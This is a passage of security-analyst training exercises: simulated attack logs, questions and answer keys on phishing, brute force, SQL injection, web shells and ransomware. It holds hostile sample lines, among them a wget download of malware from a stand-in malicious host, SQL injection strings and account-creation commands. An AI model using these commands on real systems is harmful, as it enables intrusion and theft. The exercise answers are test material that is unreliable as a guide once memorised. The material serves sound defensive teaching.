2024-11-14 03:15:30, WebServer01, System Command Executed, Command: "wget -q http://malicious-site.com/malware.bin -O /tmp/malware.bin"

2024-11-14 03:15:40, WebServer01, File Created, Path: /tmp/malware.bin

2024-11-14 03:15:55, WebServer01, File Executed, Path: /tmp/malware.bin
```

### Log 2: Endpoint Detection & Response (EDR) Logs (Malware Execution)

```
2024-11-14 03:16:01, EDR, ALERT, Malware Detected, Host: WebServer01, File: /tmp/malware.bin, Threat Type: Trojan, Action: Quarantine Failed

2024-11-14 03:16:10, EDR, Suspicious Process Spawned, Parent Process: /tmp/malware.bin, Child Process: powershell.exe, Cmdline: "powershell.exe -EncodedCommand UGVyc2lzdGVuY2U="

2024-11-14 03:16:15, EDR, New Network Connection, Host: WebServer01, Dst IP: 192.168.1.20, Dst Port: 445, Protocol: SMB

2024-11-14 03:16:20, EDR, Scheduled Task Created, Host: WebServer01, Task Name: sysupdater, Trigger: Hourly
```

### Log 3: Windows Security Logs (Lateral Movement)

```
2024-11-14 03:17:01, Workstation07, Event ID 4624, Successful Logon, User: admin@company.local, Logon Type: 3 (Network), Src IP: 192.168.1.20

2024-11-14 03:17:15, Workstation07, Event ID 4672, Special Privileges Assigned, User: admin@company.local, Privileges: SeDebugPrivilege, SeTcbPrivilege

2024-11-14 03:17:30, Workstation07, Event ID 5140, Network Share Accessed, User: admin@company.local, Resource: \\Workstation07\shared

2024-11-14 03:17:45, Workstation07, Event ID 5145, File Accessed, File: \\Workstation07\shared\docs\finance.xls, AccessType: WRITE

2024-11-14 03:18:00, Workstation07, Event ID 4660, File Deleted, File: \\Workstation07\shared\docs\finance.xls
```

**Log 4: File Server Logs (Ransomware Execution)**

```
2024-11-14 03:18:10, FileServer02, New File Detected, File: C:\Finance\finance.xls.locked, User: admin@company.local, Access: WRITE

2024-11-14 03:18:20, FileServer02, File Modified, File: C:\HR\employee_records.docx.locked, User: admin@company.local, Access: WRITE

2024-11-14 03:18:30, FileServer02, New File Created, File: C:\Ransom\READ_ME.txt, Content: "All files are encrypted. Send 2 BTC to the following wallet..."

2024-11-14 03:18:40, FileServer02, New Process, Host: FileServer02, Process Name: ransom_encryption.exe, Executed by: admin@company.local
```

**Log 5: Network Traffic Logs (Data Transfer and C2 Communication)**

```
2024-11-14 03:19:00, Firewall01, ALLOW, Src IP: 192.168.1.20, Dst IP: 203.0.113.52, Dst Port: 443, Protocol: HTTPS, Domain: malicious-site.com

2024-11-14 03:19:15, Firewall01, ALLOW, Src IP: 192.168.1.20, Dst IP: 203.0.113.52, Dst Port: 443, Protocol: HTTPS, Data Transfer: 1.5 MB

2024-11-14 03:19:30, Firewall01, ALLOW, Src IP: 192.168.1.20, Dst IP: 203.0.113.52, Dst Port: 443, Protocol: HTTPS, Data Transfer: 1.2 MB

2024-11-14 03:19:45, Firewall01, BLOCK, Src IP: 192.168.1.20, Dst IP: 203.0.113.52, Port 80, Protocol: HTTP, Reason: High Risk URL Detected
```

**QUESTIONS**

1. **What was the initial point of entry in this attack?**
2. **What evidence suggests malware execution on the web server?**
3. **What type of files were encrypted by the ransomware?**
4. **What ransom note was left by the attacker?**
5. **How did the attacker attempt to establish command-and-control (C2) communication?**
6. **Identify Indicators of Compromise (IOCs) that signify the presence of ransomware.**
7. **What privilege escalation method did the attacker use on the compromised host?**
8. **How did the attacker attempt to maintain persistence?**
9. **What steps could have prevented this ransomware attack?**
10. **What would be the next steps in containment and remediation?**

**ANSWER**

**EXERCISE 1**

1. **Identify the entry point of the attack.**

Answer: The phishing email received by izzmier@company.com containing an attachment “invoice123.pdf” was the entry point.

2. **What malicious activity was detected on the user’s endpoint?**

Answer: The endpoint detected and quarantined a malicious file named “payload.exe” that was downloaded from a high-risk website.

3. **Was there any lateral movement observed?**

Answer: Yes, there was lateral movement detected from Izzmier’s laptop (192.168.50.102) to another system on the network (192.168.50.103) using SMB and RDP protocols.

4. **What IOCs should be identified and blocked?**

Answer:

Domain: malicious-domain.com

File Hash: a5b1c3d12345f6789e0d1a2b345c6789 (payload.exe)

IP Addresses: 192.168.50.102, 192.168.50.103

5. **Recommend immediate containment actions.**

Answer: Block communication with malicious-domain.com on the firewall and isolate the infected endpoint (192.168.50.102) to prevent further lateral movement.

6. **Identify the techniques used by the attacker for persistence and privilege escalation.**

Answer: The attacker used DLL injection for persistence (rundll32.exe loading malicious.dll) and attempted privilege escalation with the SeDebugPrivilege privilege.

7. **Trace the command-and-control (C2) activity. How did the attacker communicate with the infected endpoint?**

Answer: The attacker attempted communication with the command-and-control URL "http://malicious-domain.com/command-center," which was blocked by the proxy, indicating C2 activity.

8. **What was the purpose of the SMB and RDP connections observed in the logs?**

Answer: The SMB connection was likely for reconnaissance or file access, while the RDP connection suggests the attacker attempted remote control or lateral movement to other systems.

**9. Analyse the risk of privilege escalation attempts based on log entries.**

Answer: The privilege escalation attempt was detected when the attacker tried to execute malicious.dll using SeDebugPrivilege. This indicates an effort to gain higher privileges on the compromised machine.

**10. Provide an action plan to improve detection and prevention for this attack.**

Answer:

Enhance email filtering to detect and quarantine potentially malicious attachments.

Implement EDR to monitor DLL executions and flag suspicious rundll32 activity.

Harden endpoint security to prevent unauthorised SMB and RDP access.

Add additional C2 detection signatures to block similar high-risk URLs.

## EXERCISE 2

1. **Identify the initial access method used by the attacker.**

Answer: The attacker gained initial access by brute-forcing the VPN with the "admin" username.

2. **What actions did the attacker perform on the web server after gaining access?**

Answer: The attacker uploaded a malicious shell (shell.jsp), created a new user account "hacker" with administrative privileges and modified system files.

3. **What indicators suggest malicious activity on the web server?**

Answer: Indicators include the upload of shell.jsp, execution of commands such as "whoami" and "net user hacker /add," and the download and execution of a backdoor script (backdoor.sh).

4. **What IP addresses and domains are associated with the attack?**

Answer:

Attacker IP: 203.0.113.54

Malicious Domain: malicious-domain.com

5. **What immediate actions should be taken to contain the attack?**

Answer: Block the attacker's IP address (203.0.113.54) at the firewall, quarantine the compromised server (192.168.1.10) and remove unauthorised accounts.

6. **Analyse how the attacker escalated privileges on the web server.**

Answer: The attacker used the shell.jsp to add a new administrator-level user named "hacker," then modified critical files such as /etc/passwd and executed commands with elevated privileges.

7. **Identify the command-and-control (C2) activity. How did the attacker maintain persistence?**

Answer: The attacker downloaded and executed a backdoor script (backdoor.sh) from malicious-domain.com, indicating a potential command-and-control (C2) mechanism for persistence.

8. **Evaluate the attacker's lateral movement attempts. Were any successful?**

Answer: The attacker attempted to connect via SSH to 192.168.1.10 (successful) and RDP to 192.168.1.11 (blocked). They also accessed 192.168.1.12 via HTTP, indicating lateral movement within the network.

**9. What additional security measures could have prevented this attack?**

Answer:

Implement multi-factor authentication (MFA) for VPN access to prevent brute-force attacks.

Apply strict web application firewalls (WAF) to block unauthorised uploads and command execution.

Regularly update web servers to mitigate known vulnerabilities that allowed unauthorised shell uploads.

**10. Recommend an action plan to enhance detection and response for similar incidents.**

Answer:

Configure IDS to alert on unusual VPN login attempts and detect brute-force patterns.

Enable monitoring of sensitive file modifications on servers.

Set up alerts for unauthorised account creation and privilege escalation attempts.

**EXERCISE 3**

1. **What was the initial access method used by the attacker?**

Answer: The attacker sent a phishing email with a malicious link, which was clicked by an employee.

2. **What activity occurred after the employee clicked the phishing link?**

Answer: The employee downloaded and executed the invoice_payment.exe file, which led to the creation and execution of ransomware (ransomware_payload.exe) on the workstation.

3. **Identify any indicators of compromise (IOCs) based on the logs.**

Answer: IOCs include:

Phishing link: http://malicious-site.com/reset

Malicious file: invoice_payment.exe

IP associated with external connection: 203.0.113.100

4. **What files or folders were targeted by the ransomware?**

Answer: The ransomware encrypted files in C:\Users\employee1\Documents and attempted to access shared folders on 192.168.2.13.

5. **What immediate containment steps should be taken?**

Answer: Isolate the affected workstation (192.168.2.12), block external communication with IP 203.0.113.100 and disconnect network shares to prevent further encryption.

6. **Identify how the ransomware spread across the network.**

Answer: The ransomware attempted to spread by accessing shared folders on the network via SMB connections to IP 192.168.2.13 and attempted RDP access to 192.168.2.15, which was blocked by policy.

7. **What techniques were used by the attacker to elevate privileges on the compromised machine?**

Answer: The malware executable, ransomware_payload.exe, ran with administrative privileges, likely leveraging user permissions for encryption and lateral movement.

8. **Analyse the network traffic to identify any command-and-control (C2) activities.**

Answer: The ransomware established an HTTPS connection to 203.0.113.100 (likely C2 server) after execution, suggesting it could be communicating with the attacker's server.

9. **What steps can be implemented to improve detection of similar threats in the future?**

Answer:

Deploy advanced email filtering to detect and block phishing emails with malicious links or attachments.

Implement network segmentation to restrict access to critical shares.

Enable endpoint detection and response (EDR) to monitor for suspicious process creation and file encryption activities.

10. **Based on the logs, what indicators suggest this is ransomware and not a different type of malware?**

Answer: Indicators include:

File encryption activities in C:\Users\employee1\Documents and network shares.

Creation of a ransom note (READ_ME.txt), which is typical in ransomware attacks.

Attempted lateral movement using SMB and RDP protocols.

## EXERCISE 4

1. **What type of attack was attempted in this scenario?**

Answer: An SQL injection attack was attempted to exploit the web application and access sensitive data from the database.

2. **What was the initial suspicious activity in the web server logs?**

Answer: The initial suspicious activity was a request with SQL injection syntax, such as /product?id=123 OR 1=1--, which bypasses normal authentication or data access controls.

3. **What specific data did the attacker try to access?**

Answer: The attacker attempted to access the username and password fields in the users table and credit card details from the payments table.

4. **Was the attacker able to manipulate the database?**

Answer: Yes, the attacker successfully executed SQL queries to retrieve user and payment information but was partially blocked by the firewall from making MySQL connections directly.

5. **What immediate steps should be taken to contain this attack?**

Answer: Block the IP address (198.51.100.20) at the network level, implement WAF (Web Application Firewall) rules to detect and block SQL injection attempts and review and sanitize all user input fields to prevent similar vulnerabilities.

6. **What specific indicators suggest this is an SQL injection attack?**

Answer: Indicators include suspicious SQL commands in URL parameters, such as OR 1=1--, UNION SELECT queries and attempts to drop tables, as well as unauthorised access to sensitive tables like usersand payments.

7. **What attempts did the attacker make to further exploit the database?**

Answer: The attacker attempted to use UNION SELECT statements to retrieve data from different tables and tried executing a command (DROP TABLE orders) to disrupt database integrity.

8. **What data was potentially exposed or exfiltrated based on the firewall logs?**

Answer: The outbound data log at 14:08:00 suggests that 500KB of data was exfiltrated over an HTTPS connection, possibly containing sensitive information.

9. **How could this SQL injection vulnerability have been prevented?**

Answer: Implementing parameterised queries or prepared statements would prevent SQL injection. Additionally, employing input validation and escaping special characters in SQL statements could mitigate such risks.

10. **Based on this incident, what further recommendations would you make for securing the web application and database?**

Answer:

Apply a Web Application Firewall (WAF) to inspect and block malicious traffic.

Enable database access restrictions, allowing only specific trusted IPs.

Conduct regular security code reviews and vulnerability scans to detect injection points.

Limit database privileges for application users to prevent unauthorised access to sensitive tables.

## EXERCISE 5

1. **What type of attack is suggested by the logs?**

Answer: The logs indicate a brute force attack on RDP, followed by a successful login and subsequent suspicious activity on the network.

2. **What was the source IP for the attack?**

Answer: The attack originated from IP address 203.0.113.50.

3. **How many failed login attempts occurred before a successful RDP login?**

Answer: There were five failed attempts before the attacker successfully logged in as "admin."

4. **What sensitive actions did the attacker perform after logging in?**

Answer: After logging in, the attacker accessed sensitive files, created a new user account and enabled that account.

5. **What immediate actions should be taken to contain this attack?**

Answer: Immediate actions include disabling the newly created user account ("attacker_user"), blocking the attacker's IP (203.0.113.50) and investigating whether other accounts or systems were compromised.

6. **What specific indicators show this is a brute force attack on RDP?**

Answer: The pattern of multiple failed RDP login attempts followed by a successful login within a short period strongly suggests a brute force attack.

7. **How did the attacker establish persistence on the compromised server?**

Answer: The attacker created a new user account ("attacker_user") and enabled it, establishing a way to log in again even if the "admin" account is secured.

8. **What critical resources were accessed and what implications might this have?**

Answer: The attacker accessed "Sensitive_Files.docx," which may contain confidential information. This indicates a data breach with potential data exfiltration.

9. **What defensive actions could have helped prevent this attack?**

Answer: Enforcing multi-factor authentication (MFA) on RDP, implementing account lockout policies and using a system monitoring tool to detect multiple failed login attempts could have helped prevent this attack.

10. **Based on this incident, what recommendations would you provide to improve RDP security?**

Answer: Recommendations include:

Implementing MFA for all remote access sessions.

Enforcing an account lockout policy after several failed attempts.

Restricting RDP access to specific IP addresses only.

Monitoring and alerting on brute force patterns and sensitive file access events.

**EXERCISE 6**

1. **What type of attack is evident from the logs?**

Answer: The logs indicate a phishing attack that led to malware installation on the user's machine.

2. **What triggered the initial malware activity on the workstation?**

Answer: The user opened an attachment ("invoice.doc") from a phishing email, which triggered a macro and led to malicious activity.

3. **Which process was responsible for downloading the malicious payload?**

Answer: The process "powershell.exe" was responsible for downloading the payload from an external malicious site.

4. **What is the IP address of the user's workstation?**

Answer: The IP address of the user's workstation is 192.168.1.20.

5. **What immediate containment steps should be taken?**

Answer: Disconnect the workstation from the network, block external connections to malicious IPs/domains and isolate affected systems for further investigation.

6. **Identify the indicators of compromise (IOCs) in this attack.**

Answer:

Malicious Domain: malicious-site.com

Command-and-Control Domain: command-and-control.com

IP: 203.0.113.80 (attacker's IP)

Malicious Hash: MD5 abcd1234efgh5678 for payload.exe

7. **What persistence mechanism did the malware use on the workstation?**

Answer: The malware added itself to the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run, ensuring it would execute upon reboot.

8. **What is the significance of the outbound connection to command-and-control.com?**

Answer: The outbound connection to command-and-control.com indicates that the malware is attempting to communicate with its C2 server, possibly to receive further instructions or exfiltrate data.

9. **Describe the potential impact of this malware if not contained.**

Answer: If not contained, the malware could escalate to full remote control of the infected machine, data exfiltration, lateral movement across the network and potentially further payload deployment.

10. **Based on these logs, what additional investigation steps would you recommend?**

Answer:

Analyse all logs for similar activity on other machines.

Check for any outbound connections to additional suspicious domains.

Review email gateways to identify if other users received similar phishing emails.

Conduct forensic analysis on payload.exe to understand its functionality and potential impact on the system.

## EXERCISE 7

1. **What indicators in the logs suggest a brute-force attack?**

Answer: Multiple failed login attempts followed by a successful login (from the same IP, 185.53.88.101) indicate a brute-force attack against the VPN service.

2. **What was the first suspicious action taken after the unauthorised login?**

Answer: The attacker created a new admin-level user account, temp_admin, on the workstation, which is an indicator of privilege escalation.

3. **Which network domain suggests possible data exfiltration activity?**

Answer: Connections to upload-files.com over HTTPS suggest that data might be getting uploaded or exfiltrated.

4. **What immediate containment steps should be taken in response to this attack?**

Answer: Disable the VPN connection for the IP 185.53.88.101, remove or disable the temp_admin account and inspect the compromised workstation for unauthorised services or processes.

5. **Which process was created by the attacker for potential persistence?**

Answer: The attacker installed a suspicious service called SuspiciousUpdater to maintain persistence on the machine.

6. **Identify the indicators of compromise (IOCs) in this attack.**

Answer:

IP Address: 185.53.88.101

Domain: upload-files.com

Malicious Service: SuspiciousUpdater with the path C:\temp\suspicious_updater.exe

7. **How did the attacker escalate privileges on the compromised workstation?**

Answer: The attacker assigned special privileges, such as SeDebugPrivilege and SeTakeOwnershipPrivilege, to the new account temp_admin, granting it escalated rights.

8. **What specific data appears to have been targeted by the attacker?**

Answer: The attacker accessed a file named client_list.xlsx in the directory C:\sensitive_info\, suggesting a focus on confidential client data.

9. **What is the significance of the Event ID 4697 (Service Installed) in this attack?**

Answer: This event indicates that the attacker installed a persistent service (SuspiciousUpdater) on the system, allowing them to maintain access even if the machine is rebooted.

10. **What additional investigation steps should be conducted following this incident?**

Answer:

Review all logs for other attempts from IP 185.53.88.101 across systems.

Perform a malware analysis on suspicious_updater.exe to understand its behavior.

Audit user accounts and privileges on all critical systems to ensure no unauthorised access remains.

Analyse network traffic for any further unusual outbound connections from the compromised machine.

**EXERCISE 8**

1. **What indications suggest this was a phishing attack?**

Answer: The email logs indicate an incoming message from hr-department@company-updates.com with a link to a suspicious URL (microsoft-login-security.com), which was categorised as potentially malicious.

2. **What was the attacker's goal with the phishing email?**

Answer: The attacker intended to harvest credentials by tricking the employee into entering their login information on a fake Microsoft 365 login page.

3. **What external IP appears suspicious in the authentication logs?**

Answer: The IP 198.51.100.5 is flagged as a suspicious external IP accessing the employee's email.

4. **What actions did the attacker take after accessing the employee's email?**

Answer: The attacker searched for keywords related to sensitive information like "Confidential" and "Passwords" and accessed emails containing sensitive data, including financial reports and employee password lists.

5. **What network activity indicates a possible data exfiltration attempt?**

Answer: Connections to fileshare-upload.com over HTTPS suggest that data might be getting uploaded or exfiltrated.

6. **Identify the Indicators of Compromise (IOCs) observed in this attack.**

Answer:

Phishing URL: microsoft-login-security.com

Suspicious External IP: 198.51.100.5

Data Exfiltration Domain: fileshare-upload.com

7. **How did the attacker attempt to move laterally within the network?**

Answer: The attacker used the compromised employee account to log into Workstation03 and attempted to change the password for an admin account, indicating an attempt to escalate privileges and move laterally.

8. **What failed action by the attacker indicates attempted privilege escalation?**

Answer: The Event ID 4723 log shows a failed password change attempt on admin@company.com, suggesting the attacker tried to gain admin access.

9. **What proactive measures could prevent such phishing attacks from succeeding?**

Answer:

Implementing multi-factor authentication (MFA) would prevent unauthorised access even if credentials were compromised.

Enhanced email filtering and user education on phishing recognition could reduce the chances of employees falling for such attacks.

10. **What additional investigation steps should be taken to assess the extent of the compromise?**

Answer:

Review all access logs for lateral movement attempts across other systems using the compromised account.

Analyse the web proxy and firewall logs for any further connections to suspicious domains or IPs.

Reset the credentials of the compromised employee account and any accounts that may have been accessed.

**EXERCISE 9**

1. **What was the initial point of entry in this attack?**

Answer: The attacker exploited a vulnerability in WebServer01 by sending a malicious command injection payload to execute unauthorised commands.

2. **What evidence suggests malware execution on the web server?**

Answer: The EDR logs show a detected file /tmp/malware.bin that triggered a malware alert and a subsequent process spawn from powershell.exe, indicating malicious activity.

3. **What type of files were encrypted by the ransomware?**

Answer: Several files, including finance.xls and employee_records.docx, were encrypted with a .locked extension, as seen in the File Server logs.

4. **What ransom note was left by the attacker?**

Answer: The file READ_ME.txt contains a message demanding 2 BTC for decryption, found in the log entry from FileServer02.

5. **How did the attacker attempt to establish command-and-control (C2) communication?**

Answer: The firewall logs show outbound HTTPS connections from 192.168.1.20 to malicious-site.com (203.0.113.52), which is indicative of C2 communication.

6. **Identify Indicators of Compromise (IOCs) that signify the presence of ransomware.**

Answer:

IP Address: 203.0.113.52

Domain: malicious-site.com

Ransom note file: READ_ME.txt

Encrypted file extensions: .locked

7. **What privilege escalation method did the attacker use on the compromised host?**

Answer: The attacker used an account with SeDebugPrivilege and SeTcbPrivilege on Workstation07, which enabled lateral movement and file access on network shares.

8. **How did the attacker attempt to maintain persistence?**

Answer: A scheduled task named sysupdater was created on WebServer01 to run hourly, which likely allows the attacker to maintain control.

**9. What steps could have prevented this ransomware attack?**

Answer:

Patch management to address vulnerabilities on WebServer01 could have prevented initial exploitation.

Enhanced monitoring of unusual process behavior and file creation on critical servers could have helped identify ransomware activity early.

Network segmentation and restrictions on SMB (Port 445) access would have limited lateral movement.

**10. What would be the next steps in containment and remediation?**

Answer:

Isolate WebServer01 and Workstation07 to prevent further spread.

Terminate the sysupdater scheduled task and investigate all scheduled tasks for other potential persistence mechanisms.

Remove or quarantine ransom_encryption.exe on FileServer02 and disconnect the file server from the network.